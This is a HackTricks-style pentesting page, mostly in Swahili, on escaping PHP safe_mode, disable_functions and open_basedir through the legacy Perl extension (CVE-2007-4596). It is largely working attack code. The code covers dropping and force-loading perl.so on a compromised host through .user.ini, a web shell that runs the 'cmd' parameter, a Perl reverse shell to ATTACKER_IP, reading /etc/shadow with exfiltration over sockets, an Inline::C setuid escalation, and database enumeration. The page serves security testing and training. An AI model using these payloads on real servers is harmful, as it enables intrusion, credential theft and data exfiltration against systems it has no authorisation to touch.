PHP Perl Extension Safe_mode Bypass Exploit

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Asili

Tatizo lililofuatiliwa kama CVE-2007-4596 linatokana na legacy perl PHP extension, ambayo inaingiza interpreter kamili ya Perl bila kuheshimu udhibiti wa PHP wa safe_mode, disable_functions, au open_basedir. Kazi yoyote ya PHP inayopakia extension=perl.so hupata eval ya Perl bila vikwazo, hivyo utekelezaji wa amri unabaki rahisi hata wakati primitives zote za kawaida za kuanzisha mchakato wa PHP zimezuiwa. Ingawa safe_mode ilitoweka katika PHP 5.4, stacks nyingi za shared-hosting zilizoongezeka na maabara zilizo hatarini bado zinaibeba, kwa hivyo bypass hii bado ni ya thamani ukifika kwenye control panels za zamani.

Ulinganifu & Hali ya Ufungashaji (2025)

  • The last PECL release (perl-1.0.1, 2013) targets PHP ≥5.0; PHP 8+ generally fails because the Zend APIs changed.
  • PECL inabadilishwa na PIE, lakini stacks za zamani bado zinabeba PECL/pear. Tumia mtiririko hapo chini kwenye targets za PHP 5/7; kwenye PHP mpya tarajia kupunguza toleo (downgrade) au kubadilisha kwa njia nyingine ya injection (km., userland FFI).

Kujenga Mazingira ya Kupima (2025)

  • Fetch perl-1.0.1 from PECL, compile it for the PHP branch you plan to attack, and load it globally (php.ini) or via dl() (if permitted).
  • Mapishi ya haraka ya maabara kwa Debian:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • During exploitation confirm availability with var_dump(extension_loaded('perl')); or print_r(get_loaded_extensions());. If absent, search for perl.so or abuse writable php.ini/.user.ini entries to force-load it.
  • Kwa sababu interpreter inaishi ndani ya PHP worker, hakuna external binaries zinahitajika—network egress filters au proc_open blacklists hazina maana.

Mnyororo wa kujenga kwenye mwenyeji wakati phpize inapatikana

Ikiwa phpize na build-essential zipo kwenye host iliyodhuriwa, unaweza kusanifisha (compile) na kuweka perl.so bila kutumia shell ya OS:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini

Ikiwa open_basedir inatumika, hakikisha .user.ini na .so zilizowekwa ziko katika njia iliyoruhusiwa; directive ya extension= bado inaheshimiwa ndani ya basedir. Mtiririko wa uundaji unaakisi mwongozo wa PHP wa kujenga PECL extensions.

Original PoC (NetJackal)

Kutoka http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, bado ni ya msaada kuthibitisha extension inajibu eval:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Uboreshaji wa Payload za kisasa

1. TTY kamili kupitia TCP

Interpreter iliyowekwa ndani inaweza kupakia IO::Socket hata ikiwa /usr/bin/perl imezuiwa:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. Kutoroka kwa Mfumo wa Faili Hata kwa open_basedir

Perl inapuuza PHP’s open_basedir, kwa hivyo unaweza kusoma faili yoyote:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Pipa matokeo kupitia IO::Socket::INET au Net::HTTP ili exfiltrate data bila kugusa PHP-managed descriptors.

3. Inline Compilation kwa Privilege Escalation

Ikiwa Inline::C ipo system-wide, compile helpers ndani ya request bila kutegemea PHP’s ffi au pcntl:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Chukulia Perl kama kifurushi cha zana cha LOLBAS — kwa mfano, dump MySQL DSNs hata kama mysqli inakosekana:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks